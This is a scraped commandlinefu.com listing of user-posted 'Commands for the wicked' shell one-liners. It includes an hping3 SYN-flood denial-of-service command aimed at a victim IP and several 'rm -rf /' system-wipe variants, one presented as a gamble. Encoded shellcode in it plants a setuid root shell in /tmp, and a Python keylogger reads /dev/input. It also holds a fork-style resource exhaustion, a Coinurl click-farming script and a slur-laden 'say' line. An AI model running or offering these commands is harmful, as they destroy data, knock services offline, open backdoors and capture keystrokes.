What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

UpGuard checks and validates configurations for every major OS, network device, and cloud provider.

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:



May 19, 2015 - A Look At The New Commandlinefu
I've put together a short writeup on what kind of newness you can expect from the next iteration of clfu. Check it out here.
March 2, 2015 - New Management
I'm Jon, I'll be maintaining and improving clfu. Thanks to David for building such a great resource!

Top Tags



Commands for the wicked from sorted by
Terminal - Commands for the wicked - 109 results
nmap -sP; arp-scan --localnet | grep "192.168.1.[0-9]* *ether"
2016-11-02 11:07:00
User: gnugr
Functions: grep

I just added the args [arp-scan --localnet] which works for Debian users, because the package 'arp' has name 'arp-scan', and it doesn't works with the argument 'arp'.

export Q='() { a=$(pwd); [ -z "$Q_env" ] && export Q_env=$*; b=$Q_env; echo "a=$a, b=$b,"; }; Q $(pwd)'; bash -c "Q; cd ~/Desktop; Q"
2014-09-27 12:05:45
User: hute37
Functions: bash echo export

It looks like this "feature" let us to "eval" and "bind" a lexical env at subshell start.

For sure, it could have some 'legal' use ...

musica nel cuore
2014-07-10 08:09:19
User: umbjmix

musica nel cuore dove c'? musica note di emozioni

curl "https://coinurl.com/api.php?uuid=5378..........5&url=http://www.commandlinefu.com"
2014-05-19 03:01:44
User: xmuda

I has used Coinurl to make some Bitcoins.

I created my own piramidal sistem... here is the script:







rm -rf dbfinal.txt

rm -rf ad.txt

rm -rf curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................1&url=" > curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................2&url=" >> curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................3&url=" >> curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................4&url=" >> curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................5&url=" >> curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................6&url=" >> curlapi.txt

azz=$(cat curlapi.txt | wc -l)

for xx in $(seq 1 $azz)


cat curlapi.txt >> ad.txt



rm -rf db$b.txt


d=$(cat $b.txt | wc -l)

for a in $(seq 1 $d)


e=$(cat $b.txt | sed -n "$a,$a p" | cut -d " " -f1)

g=$(cat ad.txt | sed -n "$a,$a p")

d=$(curl "$g$e");

sleep 2

echo "$d $e"

echo "$d $e" >> db$b.txt


sleep 3

echo "db$b.txt"

rm -rf ad.txt

rm -rf curlapi.txt

If you find usefull the script yo can create a account on coin ur usin my refer:


Or without ma refer


I has made 0.02 BTC in 2 months, if you are not interested in Bitcoin, these post are not for you, but if you found the way to make btc using the method, you can say thx: 12HDiTko4VYPRMLJsZpCT7SQ6NrJW8ajEo

nmap -sP
ping -b
2014-01-27 08:06:07
User: betsubetsu
Functions: ping
Tags: ping

-b option takes the broadcast address.

[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *Click*
2013-07-02 20:13:51
Functions: echo rm

WARNING! If you are not feeling lucky, don't run this command!

cp -p data.json data.yml
cp data.{json,yaml}
hping3 --rand-source -p 80 -S --flood Victim_ip
2013-04-23 14:29:04
User: xmuda

Perform a DOS attack from Linux using hping3


rm -rf / --no-preserve-root
2013-04-15 14:56:30
User: xmuda
Functions: rm

There is a legend that says that when we write "rm -rf /" it will destroy all folders in linux. But is only a legend, it doesn't work in Fedora or Centos. The correct way to do it is using "--no-preserve-root"

Command to long check description or sample output
2013-04-08 13:05:33
User: techie

char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

I do not advise you to do this command before a little research!

I do not advise you to do this command before a little research!

I do not advise you to do this command before a little research!

I do not advise you to do this command before a little research!

I do not advise you to do this command before a little research!

I do not advise you to do this command before a little research!

yes $(yes)
rm -rf /
perl -e 'print map { -l and $_ .= "\n" } <libxml*>'
2012-10-12 04:50:43
User: MarxBro
Functions: perl
Tags: perl

Perl alternative to list symlinks with a clumsy regexp filter: place the regex instead of he example 'libxml' and end it with a wildchar to see the results (previous cd on dir).

Is it possible change the '-l' test for '-d' and it will search for directories. [Same applies for -x and -X. See $(perldoc -f -x) for more tests].

I use it quite often when dealing with shared libraries...

rm **
/sbin/sysctl -w vm.drop_caches=3
2012-08-05 22:09:04
User: jlaunay

=1 --> to free pagecache

=2 --> to free dentries and inodes

=3 --> to free pagecache, dentries and inodes

ssh-copy-id -i .ssh/id_rsa.pub [email protected]
cd / && touch ./\-rf\ \*
2012-04-04 11:31:51
User: xorpaul
Functions: cd touch

great way to annoy someone or test their char escaping skills

python -c "DEV = '/dev/input/event4' fo = open(DEV) def inn(k,s): if s == 0: print '%i up'%k if s == 1: print '%i down'%k while 1: l = fo.read(16) if ord(l[10]) != 0: k,s = l[10],l[12] inn(ord(k),ord(s)) "
2012-02-08 12:11:23
User: totti
Functions: python
python -c "DEV = '/dev/input/event4'

#if event0 doesn't work, try event1 event2 etc

fo = open(DEV)

def interpret(keycode,state):

if state == 0:

print '%i up'%keycode

if state == 1:

print '%i down'%keycode

if state == 2:

print '%i repeat'%keycode

while 1:

line = fo.read(16)

if ord(line[10]) != 0:

keycode,state = line[10],line[12]



ps -eo rss,vsz,pid,cputime,cmd --width 100 --sort rss,vsz | tail --lines 10
say -v ? |awk '{print $1}' |xargs -I% say -v % kevin\'s mom is a total whore